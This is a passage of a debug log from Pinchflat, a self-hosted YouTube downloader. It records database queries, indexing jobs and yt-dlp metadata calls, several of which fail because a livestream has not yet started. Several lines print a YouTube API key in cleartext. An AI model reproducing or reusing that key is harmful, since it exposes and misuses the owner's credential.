m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:44.458 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:44.458 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 17:36:44.458 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:44.458 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:44.603 [debug] QUERY OK source="media_items" db=0.7ms idle=144.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 17:36:44.604 [debug] QUERY OK source="media_items" db=0.4ms idle=145.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 17:36:44.605 [debug] QUERY OK source="tasks" db=0.1ms idle=146.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800244, 20, ~U[2026-02-10 23:36:44Z], ~U[2026-02-10 23:36:44Z]] 17:36:44.605 [info] {"args":{"id":20},"id":3800205,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":147384,"event":"job:stop","queue_time":509115,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:48.462 [info] {"args":{"id":19},"id":3800206,"meta":{},"system_time":1770766608462793687,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:48.463 [debug] QUERY OK source="sources" db=0.3ms idle=584.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 17:36:48.463 [debug] QUERY OK source="settings" db=0.1ms idle=585.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:48.463 [debug] QUERY OK source="media_profiles" db=0.1ms idle=585.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:48.464 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:48.464 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 17:36:48.464 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:48.464 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:48.590 [debug] QUERY OK source="media_items" db=0.6ms idle=126.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 17:36:48.591 [debug] QUERY OK source="settings" db=0.0ms idle=127.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:48.591 [debug] QUERY OK source="settings" db=0.0ms idle=127.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:48.591 [debug] Running yt-dlp command for action: get_media_attributes 17:36:48.592 [debug] QUERY OK source="settings" db=0.0ms idle=128.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:48.592 [debug] QUERY OK source="settings" db=0.0ms idle=127.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:48.592 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:48.592 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9e/6f/9e6fb7a176f652ba5e2d91f96024f12e2e10f7045b48f9c607bc08701510a6b9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:36:49.825 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9e/6f/9e6fb7a176f652ba5e2d91f96024f12e2e10f7045b48f9c607bc08701510a6b9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 17:36:49.825 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 17:36:49.826 [debug] QUERY OK source="settings" db=0.1ms idle=1234.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:49.826 [debug] QUERY OK source="settings" db=0.1ms idle=1234.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:49.826 [debug] Running yt-dlp command for action: get_media_attributes 17:36:49.851 [debug] QUERY OK source="settings" db=0.1ms idle=1259.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:49.851 [debug] QUERY OK source="settings" db=0.1ms idle=1259.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:49.851 [debug] QUERY OK source="settings" db=0.0ms idle=393.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:49.851 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/76/ec/76ec03c790af1753399a9de64831111e1adabceb1384652790957d1672a40e60.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:36:51.141 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/76/ec/76ec03c790af1753399a9de64831111e1adabceb1384652790957d1672a40e60.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 17:36:51.141 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 17:36:51.141 [debug] QUERY OK source="media_items" db=0.4ms idle=682.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 17:36:51.142 [debug] QUERY OK source="tasks" db=0.1ms idle=264.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800245, 19, ~U[2026-02-10 23:36:51Z], ~U[2026-02-10 23:36:51Z]] 17:36:51.142 [info] {"args":{"id":19},"id":3800206,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2680004,"event":"job:stop","queue_time":751335,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:59.598 [info] {"source":"oban","duration":10415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.088 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:37:08.487 [info] {"args":{"id":42},"id":3800207,"meta":{},"system_time":1770766628487070086,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:08.487 [info] {"args":{"id":15},"id":3800208,"meta":{},"system_time":1770766628487115801,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:08.487 [debug] QUERY OK source="sources" db=0.1ms idle=1608.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 17:37:08.487 [debug] QUERY OK source="sources" db=0.1ms idle=1007.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 17:37:08.487 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.488 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:08.488 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.488 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 17:37:08.488 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.488 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:08.488 [debug] QUERY OK source="settings" db=1.0ms idle=609.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.489 [debug] QUERY OK source="media_profiles" db=0.0ms queue=0.3ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:08.489 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.489 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 17:37:08.489 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:08.489 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:08.595 [debug] QUERY OK source="media_items" db=0.6ms idle=106.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 17:37:08.596 [debug] QUERY OK source="media_items" db=0.4ms idle=107.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) 